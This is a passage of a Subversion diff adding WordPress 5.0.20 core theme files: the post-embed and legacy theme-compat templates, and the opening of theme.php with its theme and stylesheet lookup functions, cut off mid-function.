@@ -0,0 +1,36 @@
+<?php
+/**
+ * Contains the post embed content template part
+ *
+ * When a post is embedded in an iframe, this file is used to create the content template part
+ * output if the active theme does not include an embed-404.php template.
+ *
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @since 4.5.0
+ */
+?>
+<div class="wp-embed">
+	<p class="wp-embed-heading"><?php _e( 'Oops! That embed can&#8217;t be found.' ); ?></p>
+
+	<div class="wp-embed-excerpt">
+		<p>
+			<?php
+			printf(
+				/* translators: %s: a link to the embedded site */
+				__( 'It looks like nothing was found at this location. Maybe try visiting %s directly?' ),
+				'<strong><a href="' . esc_url( home_url() ) . '">' . esc_html( get_bloginfo( 'name' ) ) . '</a></strong>'
+			);
+			?>
+		</p>
+	</div>
+
+	<?php
+	/** This filter is documented in wp-includes/theme-compat/embed-content.php */
+	do_action( 'embed_content' );
+	?>
+
+	<div class="wp-embed-footer">
+		<?php the_embed_site_title() ?>
+	</div>
+</div>
Index: /tags/5.0.20/src/wp-includes/theme-compat/embed-content.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/embed-content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/embed-content.php	(revision 56912)
@@ -0,0 +1,126 @@
+<?php
+/**
+ * Contains the post embed content template part
+ *
+ * When a post is embedded in an iframe, this file is used to create the content template part
+ * output if the active theme does not include an embed-content.php template.
+ *
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @since 4.5.0
+ */
+?>
+	<div <?php post_class( 'wp-embed' ); ?>>
+		<?php
+		$thumbnail_id = 0;
+
+		if ( has_post_thumbnail() ) {
+			$thumbnail_id = get_post_thumbnail_id();
+		}
+
+		if ( 'attachment' === get_post_type() && wp_attachment_is_image() ) {
+			$thumbnail_id = get_the_ID();
+		}
+
+		/**
+		 * Filters the thumbnail image ID for use in the embed template.
+		 *
+		 * @since 4.9.0
+		 *
+		 * @param int $thumbnail_id Attachment ID.
+		 */
+		$thumbnail_id = apply_filters( 'embed_thumbnail_id', $thumbnail_id );
+
+		if ( $thumbnail_id ) {
+			$aspect_ratio = 1;
+			$measurements = array( 1, 1 );
+			$image_size   = 'full'; // Fallback.
+
+			$meta = wp_get_attachment_metadata( $thumbnail_id );
+			if ( ! empty( $meta['sizes'] ) ) {
+				foreach ( $meta['sizes'] as $size => $data ) {
+					if ( $data['height'] > 0 && $data['width'] / $data['height'] > $aspect_ratio ) {
+						$aspect_ratio = $data['width'] / $data['height'];
+						$measurements = array( $data['width'], $data['height'] );
+						$image_size   = $size;
+					}
+				}
+			}
+
+			/**
+			 * Filters the thumbnail image size for use in the embed template.
+			 *
+			 * @since 4.4.0
+			 * @since 4.5.0 Added `$thumbnail_id` parameter.
+			 *
+			 * @param string $image_size   Thumbnail image size.
+			 * @param int    $thumbnail_id Attachment ID.
+			 */
+			$image_size = apply_filters( 'embed_thumbnail_image_size', $image_size, $thumbnail_id );
+
+			$shape = $measurements[0] / $measurements[1] >= 1.75 ? 'rectangular' : 'square';
+
+			/**
+			 * Filters the thumbnail shape for use in the embed template.
+			 *
+			 * Rectangular images are shown above the title while square images
+			 * are shown next to the content.
+			 *
+			 * @since 4.4.0
+			 * @since 4.5.0 Added `$thumbnail_id` parameter.
+			 *
+			 * @param string $shape        Thumbnail image shape. Either 'rectangular' or 'square'.
+			 * @param int    $thumbnail_id Attachment ID.
+			 */
+			$shape = apply_filters( 'embed_thumbnail_image_shape', $shape, $thumbnail_id );
+		}
+
+		if ( $thumbnail_id && 'rectangular' === $shape ) : ?>
+			<div class="wp-embed-featured-image rectangular">
+				<a href="<?php the_permalink(); ?>" target="_top">
+					<?php echo wp_get_attachment_image( $thumbnail_id, $image_size ); ?>
+				</a>
+			</div>
+		<?php endif; ?>
+
+		<p class="wp-embed-heading">
+			<a href="<?php the_permalink(); ?>" target="_top">
+				<?php the_title(); ?>
+			</a>
+		</p>
+
+		<?php if ( $thumbnail_id && 'square' === $shape ) : ?>
+			<div class="wp-embed-featured-image square">
+				<a href="<?php the_permalink(); ?>" target="_top">
+					<?php echo wp_get_attachment_image( $thumbnail_id, $image_size ); ?>
+				</a>
+			</div>
+		<?php endif; ?>
+
+		<div class="wp-embed-excerpt"><?php the_excerpt_embed(); ?></div>
+
+		<?php
+		/**
+		 * Prints additional content after the embed excerpt.
+		 *
+		 * @since 4.4.0
+		 */
+		do_action( 'embed_content' );
+		?>
+
+		<div class="wp-embed-footer">
+			<?php the_embed_site_title() ?>
+
+			<div class="wp-embed-meta">
+				<?php
+				/**
+				 * Prints additional meta content in the embed template.
+				 *
+				 * @since 4.4.0
+				 */
+				do_action( 'embed_content_meta');
+				?>
+			</div>
+		</div>
+	</div>
+<?php
Index: /tags/5.0.20/src/wp-includes/theme-compat/embed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/embed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/embed.php	(revision 56912)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Contains the post embed base template
+ *
+ * When a post is embedded in an iframe, this file is used to create the output
+ * if the active theme does not include an embed.php template.
+ *
+ * @package WordPress
+ * @subpackage oEmbed
+ * @since 4.4.0
+ */
+
+get_header( 'embed' );
+
+if ( have_posts() ) :
+	while ( have_posts() ) : the_post();
+		get_template_part( 'embed', 'content' );
+	endwhile;
+else :
+	get_template_part( 'embed', '404' );
+endif;
+
+get_footer( 'embed' );
Index: /tags/5.0.20/src/wp-includes/theme-compat/footer-embed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/footer-embed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/footer-embed.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Contains the post embed footer template
+ *
+ * When a post is embedded in an iframe, this file is used to create the footer output
+ * if the active theme does not include a footer-embed.php template.
+ *
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @since 4.5.0
+ */
+
+/**
+ * Prints scripts or data before the closing body tag in the embed template.
+ *
+ * @since 4.4.0
+ */
+do_action( 'embed_footer' );
+?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-includes/theme-compat/footer.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/footer.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0.0
+ *
+ * This file is here for backward compatibility with old themes and will be removed in a future version
+ */
+_deprecated_file(
+	/* translators: %s: template name */
+	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
+	'3.0.0',
+	null,
+	/* translators: %s: template name */
+	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
+);
+?>
+
+<hr />
+<div id="footer" role="contentinfo">
+<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
+	<p>
+		<?php
+		printf(
+			/* translators: 1: blog name, 2: WordPress */
+			__( '%1$s is proudly powered by %2$s' ),
+			get_bloginfo('name'),
+			'<a href="https://wordpress.org/">WordPress</a>'
+		);
+		?>
+	</p>
+</div>
+</div>
+
+<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
+<?php /* "Just what do you think you're doing Dave?" */ ?>
+
+		<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-includes/theme-compat/header-embed.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/header-embed.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/header-embed.php	(revision 56912)
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Contains the post embed header template
+ *
+ * When a post is embedded in an iframe, this file is used to create the header output
+ * if the active theme does not include a header-embed.php template.
+ *
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @since 4.5.0
+ */
+
+if ( ! headers_sent() ) {
+	header( 'X-WP-embed: true' );
+}
+
+?>
+<!DOCTYPE html>
+<html <?php language_attributes(); ?> class="no-js">
+<head>
+	<title><?php echo wp_get_document_title(); ?></title>
+	<meta http-equiv="X-UA-Compatible" content="IE=edge">
+	<?php
+	/**
+	 * Prints scripts or data in the embed template <head> tag.
+	 *
+	 * @since 4.4.0
+	 */
+	do_action( 'embed_head' );
+	?>
+</head>
+<body <?php body_class(); ?>>
Index: /tags/5.0.20/src/wp-includes/theme-compat/header.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/header.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0.0
+ *
+ * This file is here for backward compatibility with old themes and will be removed in a future version.
+ */
+_deprecated_file(
+	/* translators: %s: template name */
+	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
+	'3.0.0',
+	null,
+	/* translators: %s: template name */
+	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
+);
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+
+<title><?php echo wp_get_document_title(); ?></title>
+
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+
+<?php if ( file_exists( get_stylesheet_directory() . '/images/kubrickbgwide.jpg' ) ) { ?>
+<style type="text/css" media="screen">
+
+<?php
+// Checks to see whether it needs a sidebar
+if ( empty($withcomments) && !is_single() ) {
+?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-<?php bloginfo('text_direction'); ?>.jpg") repeat-y top; border: none; }
+<?php } else { // No sidebar ?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg") repeat-y top; border: none; }
+<?php } ?>
+
+</style>
+<?php } ?>
+
+<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+
+<?php wp_head(); ?>
+</head>
+<body <?php body_class(); ?>>
+<div id="page">
+
+<div id="header" role="banner">
+	<div id="headerimg">
+		<h1><a href="<?php echo home_url(); ?>/"><?php bloginfo('name'); ?></a></h1>
+		<div class="description"><?php bloginfo('description'); ?></div>
+	</div>
+</div>
+<hr />
Index: /tags/5.0.20/src/wp-includes/theme-compat/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme-compat/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme-compat/sidebar.php	(revision 56912)
@@ -0,0 +1,114 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Theme_Compat
+ * @deprecated 3.0.0
+ *
+ * This file is here for backward compatibility with old themes and will be removed in a future version.
+ */
+_deprecated_file(
+	/* translators: %s: template name */
+	sprintf( __( 'Theme without %s' ), basename( __FILE__ ) ),
+	'3.0.0',
+	null,
+	/* translators: %s: template name */
+	sprintf( __( 'Please include a %s template in your theme.' ), basename( __FILE__ ) )
+);
+?>
+	<div id="sidebar" role="complementary">
+		<ul>
+			<?php 	/* Widgetized sidebar, if you have the plugin installed. */
+					if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
+			<li>
+				<?php get_search_form(); ?>
+			</li>
+
+			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
+			<li><h2><?php _e('Author'); ?></h2>
+			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
+			</li>
+			-->
+
+			<?php if ( is_404() || is_category() || is_day() || is_month() ||
+						is_year() || is_search() || is_paged() ) :
+			?> <li>
+
+			<?php if ( is_404() ) : /* If this is a 404 page */ ?>
+			<?php elseif ( is_category() ) : /* If this is a category archive */ ?>
+				<p><?php /* translators: %s: category name */
+					printf( __( 'You are currently browsing the archives for the %s category.' ),
+						single_cat_title( '', false )
+					);
+				?></p>
+
+			<?php elseif ( is_day() ) : /* If this is a daily archive */ ?>
+				<p><?php /* translators: 1: site link, 2: archive date */
+					printf( __( 'You are currently browsing the %1$s blog archives for the day %2$s.' ),
+						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
+						get_the_time( __( 'l, F jS, Y' ) )
+					);
+				?></p>
+
+			<?php elseif ( is_month() ) : /* If this is a monthly archive */ ?>
+				<p><?php /* translators: 1: site link, 2: archive month */
+					printf( __( 'You are currently browsing the %1$s blog archives for %2$s.' ),
+						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
+						get_the_time( __( 'F, Y' ) )
+					);
+				?></p>
+
+			<?php elseif ( is_year() ) : /* If this is a yearly archive */ ?>
+				<p><?php /* translators: 1: site link, 2: archive year */
+					printf( __( 'You are currently browsing the %1$s blog archives for the year %2$s.' ),
+						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
+						get_the_time( 'Y' )
+					);
+				?></p>
+
+			<?php elseif ( is_search() ) : /* If this is a search result */ ?>
+				<p><?php /* translators: 1: site link, 2: search query */
+					printf( __( 'You have searched the %1$s blog archives for <strong>&#8216;%2$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.' ),
+						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) ),
+						esc_html( get_search_query() )
+					);
+				?></p>
+
+			<?php elseif ( isset( $_GET['paged'] ) && ! empty( $_GET['paged'] ) ) : /* If this set is paginated */ ?>
+				<p><?php /* translators: %s: site link */
+					printf( __( 'You are currently browsing the %s blog archives.' ),
+						sprintf( '<a href="%1$s/">%2$s</a>', get_bloginfo( 'url' ), get_bloginfo( 'name' ) )
+					);
+				?></p>
+
+			<?php endif; ?>
+
+			</li>
+		<?php endif; ?>
+		</ul>
+		<ul role="navigation">
+			<?php wp_list_pages('title_li=<h2>' . __('Pages') . '</h2>' ); ?>
+
+			<li><h2><?php _e('Archives'); ?></h2>
+				<ul>
+				<?php wp_get_archives(array('type' => 'monthly')); ?>
+				</ul>
+			</li>
+
+			<?php wp_list_categories(array('show_count' => 1, 'title_li' => '<h2>' . __('Categories') . '</h2>')); ?>
+		</ul>
+		<ul>
+			<?php if ( is_home() || is_page() ) { /* If this is the frontpage */ ?>
+				<?php wp_list_bookmarks(); ?>
+
+				<li><h2><?php _e('Meta'); ?></h2>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
+					<?php wp_meta(); ?>
+				</ul>
+				</li>
+			<?php } ?>
+
+			<?php endif; /* ! dynamic_sidebar() */ ?>
+		</ul>
+	</div>
Index: /tags/5.0.20/src/wp-includes/theme.php
===================================================================
--- /tags/5.0.20/src/wp-includes/theme.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/theme.php	(revision 56912)
@@ -0,0 +1,3148 @@
+<?php
+/**
+ * Theme, template, and stylesheet functions.
+ *
+ * @package WordPress
+ * @subpackage Theme
+ */
+
+/**
+ * Returns an array of WP_Theme objects based on the arguments.
+ *
+ * Despite advances over get_themes(), this function is quite expensive, and grows
+ * linearly with additional themes. Stick to wp_get_theme() if possible.
+ *
+ * @since 3.4.0
+ *
+ * @global array $wp_theme_directories
+ * @staticvar array $_themes
+ *
+ * @param array $args The search arguments. Optional.
+ * - errors      mixed  True to return themes with errors, false to return themes without errors, null
+ *                      to return all themes. Defaults to false.
+ * - allowed     mixed  (Multisite) True to return only allowed themes for a site. False to return only
+ *                      disallowed themes for a site. 'site' to return only site-allowed themes. 'network'
+ *                      to return only network-allowed themes. Null to return all themes. Defaults to null.
+ * - blog_id     int    (Multisite) The blog ID used to calculate which themes are allowed. Defaults to 0,
+ *                      synonymous for the current blog.
+ * @return array Array of WP_Theme objects.
+ */
+function wp_get_themes( $args = array() ) {
+	global $wp_theme_directories;
+
+	$defaults = array( 'errors' => false, 'allowed' => null, 'blog_id' => 0 );
+	$args = wp_parse_args( $args, $defaults );
+
+	$theme_directories = search_theme_directories();
+
+	if ( is_array( $wp_theme_directories ) && count( $wp_theme_directories ) > 1 ) {
+		// Make sure the current theme wins out, in case search_theme_directories() picks the wrong
+		// one in the case of a conflict. (Normally, last registered theme root wins.)
+		$current_theme = get_stylesheet();
+		if ( isset( $theme_directories[ $current_theme ] ) ) {
+			$root_of_current_theme = get_raw_theme_root( $current_theme );
+			if ( ! in_array( $root_of_current_theme, $wp_theme_directories ) )
+				$root_of_current_theme = WP_CONTENT_DIR . $root_of_current_theme;
+			$theme_directories[ $current_theme ]['theme_root'] = $root_of_current_theme;
+		}
+	}
+
+	if ( empty( $theme_directories ) )
+		return array();
+
+	if ( is_multisite() && null !== $args['allowed'] ) {
+		$allowed = $args['allowed'];
+		if ( 'network' === $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_network() );
+		elseif ( 'site' === $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed_on_site( $args['blog_id'] ) );
+		elseif ( $allowed )
+			$theme_directories = array_intersect_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
+		else
+			$theme_directories = array_diff_key( $theme_directories, WP_Theme::get_allowed( $args['blog_id'] ) );
+	}
+
+	$themes = array();
+	static $_themes = array();
+
+	foreach ( $theme_directories as $theme => $theme_root ) {
+		if ( isset( $_themes[ $theme_root['theme_root'] . '/' . $theme ] ) )
+			$themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ];
+		else
+			$themes[ $theme ] = $_themes[ $theme_root['theme_root'] . '/' . $theme ] = new WP_Theme( $theme, $theme_root['theme_root'] );
+	}
+
+	if ( null !== $args['errors'] ) {
+		foreach ( $themes as $theme => $wp_theme ) {
+			if ( $wp_theme->errors() != $args['errors'] )
+				unset( $themes[ $theme ] );
+		}
+	}
+
+	return $themes;
+}
+
+/**
+ * Gets a WP_Theme object for a theme.
+ *
+ * @since 3.4.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @param string $stylesheet Directory name for the theme. Optional. Defaults to current theme.
+ * @param string $theme_root Absolute path of the theme root to look in. Optional. If not specified, get_raw_theme_root()
+ * 	                         is used to calculate the theme root for the $stylesheet provided (or current theme).
+ * @return WP_Theme Theme object. Be sure to check the object's exists() method if you need to confirm the theme's existence.
+ */
+function wp_get_theme( $stylesheet = null, $theme_root = null ) {
+	global $wp_theme_directories;
+
+	if ( empty( $stylesheet ) )
+		$stylesheet = get_stylesheet();
+
+	if ( empty( $theme_root ) ) {
+		$theme_root = get_raw_theme_root( $stylesheet );
+		if ( false === $theme_root )
+			$theme_root = WP_CONTENT_DIR . '/themes';
+		elseif ( ! in_array( $theme_root, (array) $wp_theme_directories ) )
+			$theme_root = WP_CONTENT_DIR . $theme_root;
+	}
+
+	return new WP_Theme( $stylesheet, $theme_root );
+}
+
+/**
+ * Clears the cache held by get_theme_roots() and WP_Theme.
+ *
+ * @since 3.5.0
+ * @param bool $clear_update_cache Whether to clear the Theme updates cache
+ */
+function wp_clean_themes_cache( $clear_update_cache = true ) {
+	if ( $clear_update_cache )
+		delete_site_transient( 'update_themes' );
+	search_theme_directories( true );
+	foreach ( wp_get_themes( array( 'errors' => null ) ) as $theme )
+		$theme->cache_delete();
+}
+
+/**
+ * Whether a child theme is in use.
+ *
+ * @since 3.0.0
+ *
+ * @return bool true if a child theme is in use, false otherwise.
+ **/
+function is_child_theme() {
+	return ( TEMPLATEPATH !== STYLESHEETPATH );
+}
+
+/**
+ * Retrieve name of the current stylesheet.
+ *
+ * The theme name that the administrator has currently set the front end theme
+ * as.
+ *
+ * For all intents and purposes, the template name and the stylesheet name are
+ * going to be the same for most cases.
+ *
+ * @since 1.5.0
+ *
+ * @return string Stylesheet name.
+ */
+function get_stylesheet() {
+	/**
+	 * Filters the name of current stylesheet.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet Name of the current stylesheet.
+	 */
+	return apply_filters( 'stylesheet', get_option( 'stylesheet' ) );
+}
+
+/**
+ * Retrieve stylesheet directory path for current theme.
+ *
+ * @since 1.5.0
+ *
+ * @return string Path to current theme directory.
+ */
+function get_stylesheet_directory() {
+	$stylesheet = get_stylesheet();
+	$theme_root = get_theme_root( $stylesheet );
+	$stylesheet_dir = "$theme_root/$stylesheet";
+
+	/**
+	 * Filters the stylesheet directory path for current theme.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_dir Absolute path to the current theme.
+	 * @param string $stylesheet     Directory name of the current theme.
+	 * @param string $theme_root     Absolute path to themes directory.
+	 */
+	return apply_filters( 'stylesheet_directory', $stylesheet_dir, $stylesheet, $theme_root );
+}
+
+/**
+ * Retrieve stylesheet directory URI.
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_stylesheet_directory_uri() {
+	$stylesheet = str_replace( '%2F', '/', rawurlencode( get_stylesheet() ) );
+	$theme_root_uri = get_theme_root_uri( $stylesheet );
+	$stylesheet_dir_uri = "$theme_root_uri/$stylesheet";
+
+	/**
+	 * Filters the stylesheet directory URI.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
+	 * @param string $stylesheet         Name of the activated theme's directory.
+	 * @param string $theme_root_uri     Themes root URI.
+	 */
+	return apply_filters( 'stylesheet_directory_uri', $stylesheet_dir_uri, $stylesheet, $theme_root_uri );
+}
+
+/**
+ * Retrieves the URI of current theme stylesheet.
+ *
+ * The stylesheet file name is 'style.css' which is appended to the stylesheet directory URI path.
+ * See get_stylesheet_directory_uri().
+ *
+ * @since 1.5.0
+ *
+ * @return string
+ */
+function get_stylesheet_uri() {
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$stylesheet_uri = $stylesheet_dir_uri . '/style.css';
+	/**
+	 * Filters the URI of the current theme stylesheet.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $stylesheet_uri     Stylesheet URI for the current theme/child theme.
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI for the current theme/child theme.
+	 */
+	return apply_filters( 'stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
+}
+
+/**
+ * Retrieves the localized stylesheet URI.
+ *
+ * The stylesheet directory for the localized stylesheet files are located, by
+ * default, in the base theme directory. The name of the locale file will be the
+ * locale followed by '.css'. If that does not exist, then the text direction
+ * stylesheet will be checked for existence, for example 'ltr.css'.
+ *
+ * The theme may change the location of the stylesheet directory by either using
+ * the {@see 'stylesheet_directory_uri'} or {@see 'locale_stylesheet_uri'} filters.
+ *
+ * If you want to change the location of the stylesheet files for the entire
+ * WordPress workflow, then change the former. If you just have the locale in a
+ * separate folder, then change the latter.
+ *
+ * @since 2.1.0
+ *
+ * @global WP_Locale $wp_locale
+ *
+ * @return string
+ */
+function get_locale_stylesheet_uri() {
+	global $wp_locale;
+	$stylesheet_dir_uri = get_stylesheet_directory_uri();
+	$dir = get_stylesheet_directory();
+	$locale = get_locale();
+	if ( file_exists("$dir/$locale.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/$locale.css";
+	elseif ( !empty($wp_locale->text_direction) && file_exists("$dir/{$wp_locale->text_direction}.css") )
+		$stylesheet_uri = "$stylesheet_dir_uri/{$wp_locale->text_direction}.css";
+	else
+		$stylesheet_uri = '';
+	/**
+	 * Filters the localized stylesheet URI.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $stylesheet_uri     Localized stylesheet URI.
+	 * @param string $stylesheet_dir_uri Stylesheet directory URI.
+	 */
+	return apply_filters( 'locale_stylesheet_uri', $stylesheet_uri, $stylesheet_dir_uri );
+}
+
+/**
+ * Retrieve name of the current theme.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template name.
+ */
+function get_template() {
+	/**
+	 * Filters the name of the current theme.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template Current theme's directory name.
+	 */
+	return apply_filters( 'template', get_option( 'template' ) );
+}
+
+/**
+ * Retrieve current theme directory.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template directory path.
+ */
+function get_template_directory() {
+	$template = get_template();
+	$theme_root = get_theme_root( $template );
+	$template_dir = "$theme_root/$template";
+
+	/**
+	 * Filters the current theme directory path.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template_dir The URI of the current theme directory.
+	 * @param string $template     Directory name of the current theme.
+	 * @param string $theme_root   Absolute path to the themes directory.
+	 */
+	return apply_filters( 'template_directory', $template_dir, $template, $theme_root );
+}
+
+/**
+ * Retrieve theme directory URI.
+ *
+ * @since 1.5.0
+ *
+ * @return string Template directory URI.
+ */
+function get_template_directory_uri() {
+	$template = str_replace( '%2F', '/', rawurlencode( get_template() ) );
+	$theme_root_uri = get_theme_root_uri( $template );
+	$template_dir_uri = "$theme_root_uri/$template";
+
+	/**
+	 * Filters the current theme directory URI.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template_dir_uri The URI of the current theme directory.
+	 * @param string $template         Directory name of the current theme.
+	 * @param string $theme_root_uri   The themes root URI.
+	 */
+	return apply_filters( 'template_directory_uri', $template_dir_uri, $template, $theme_root_uri );
+}
+
+/**
+ * Retrieve theme roots.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @return array|string An array of theme roots keyed by template/stylesheet or a single theme root if all themes have the same root.
+ */
+function get_theme_roots() {
+	global $wp_theme_directories;
+
+	if ( ! is_array( $wp_theme_directories ) || count( $wp_theme_directories ) <= 1 ) {
+		return '/themes';
+	}
+
+	$theme_roots = get_site_transient( 'theme_roots' );
+	if ( false === $theme_roots ) {
+		search_theme_directories( true ); // Regenerate the transient.
+		$theme_roots = get_site_transient( 'theme_roots' );
+	}
+	return $theme_roots;
+}
+
+/**
+ * Register a directory that contains themes.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_theme_directories
+ *
+ * @param string $directory Either the full filesystem path to a theme folder or a folder within WP_CONTENT_DIR
+ * @return bool
+ */
+function register_theme_directory( $directory ) {
+	global $wp_theme_directories;
+
+	if ( ! file_exists( $directory ) ) {
+		// Try prepending as the theme directory could be relative to the content directory
+		$directory = WP_CONTENT_DIR . '/' . $directory;
+		// If this directory does not exist, return and do not register
+		if ( ! file_exists( $directory ) ) {
+			return false;
+		}
+	}
+
+	if ( ! is_array( $wp_theme_directories ) ) {
+		$wp_theme_directories = array();
+	}
+
+	$untrailed = untrailingslashit( $directory );
+	if ( ! empty( $untrailed ) && ! in_array( $untrailed, $wp_theme_directories ) ) {
+		$wp_theme_directories[] = $untrailed;
+	}
+
+	return true;
+}
+
+/**
+ * Search all registered theme directories for complete and valid themes.
+ *
+ * @since 2.9.0
+ *
+ * @global array $wp_theme_directories
+ * @staticvar array $found_themes
+ *
+ * @param bool $force Optional. Whether to force a new directory scan. Defaults to false.
+ * @return array|false Valid themes found
+ */
+function search_theme_directories( $force = false ) {
+	global $wp_theme_directories;
+	static $found_themes = null;
+
+	if ( empty( $wp_theme_directories ) )
+		return false;
+
+	if ( ! $force && isset( $found_themes ) )
+		return $found_themes;
+
+	$found_themes = array();
+
+	$wp_theme_directories = (array) $wp_theme_directories;
+	$relative_theme_roots = array();
+
+	// Set up maybe-relative, maybe-absolute array of theme directories.
+	// We always want to return absolute, but we need to cache relative
+	// to use in get_theme_root().
+	foreach ( $wp_theme_directories as $theme_root ) {
+		if ( 0 === strpos( $theme_root, WP_CONTENT_DIR ) )
+			$relative_theme_roots[ str_replace( WP_CONTENT_DIR, '', $theme_root ) ] = $theme_root;
+		else
+			$relative_theme_roots[ $theme_root ] = $theme_root;
+	}
+
+	/**
+	 * Filters whether to get the cache of the registered theme directories.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param bool   $cache_expiration Whether to get the cache of the theme directories. Default false.
+	 * @param string $cache_directory  Directory to be searched for the cache.
+	 */
+	if ( $cache_expiration = apply_filters( 'wp_cache_themes_persistently', false, 'search_theme_directories' ) ) {
+		$cached_roots = get_site_transient( 'theme_roots' );
+		if ( is_array( $cached_roots ) ) {
+			foreach ( $cached_roots as $theme_dir => $theme_root ) {
+				// A cached theme root is no longer around, so skip it.
+				if ( ! isset( $relative_theme_roots[ $theme_root ] ) )
+					continue;
+				$found_themes[ $theme_dir ] = array(
+					'theme_file' => $theme_dir . '/style.css',
+					'theme_root' => $relative_theme_roots[ $theme_root ], // Convert relative to absolute.
+				);
+			}
+			return $found_themes;
+		}
+		if ( ! is_int( $cache_expiration ) )
+			$cache_expiration = 1800; // half hour
+	} else {
+		$cache_expiration = 1800; // half hour
+	}
+
+	/* Loop the registered theme directories and extract all themes */
+	foreach ( $wp_theme_directories as $theme_root ) {
+
+		// Start with directories in the root of the current theme directory.
+		$dirs = @ scandir( $theme_root );
+		if ( ! $dirs ) {
+			trigger_error( "$theme_root is not readable", E_USER_NOTICE );
+			continue;
+		}
+		foreach ( $dirs as $dir ) {
+			if ( ! is_dir( $theme_root . '/' . $dir ) || $dir[0] == '.' || $dir == 'CVS' )
+				continue;
+			if ( file_exists( $theme_root . '/' . $dir . '/style.css' ) ) {
+				// wp-content/themes/a-single-theme
+				// wp-content/themes is $theme_root, a-single-theme is $dir
+				$found_themes[ $dir ] = array(
+					'theme_file' => $dir . '/style.css',
+					'theme_root' => $theme_root,
+				);
+			} else {
+				$found_theme = false;
+				// wp-content/themes/a-folder-of-themes/*
+				// wp-content/themes is $theme_root, a-folder-of-themes is $dir, then themes are $sub_dirs
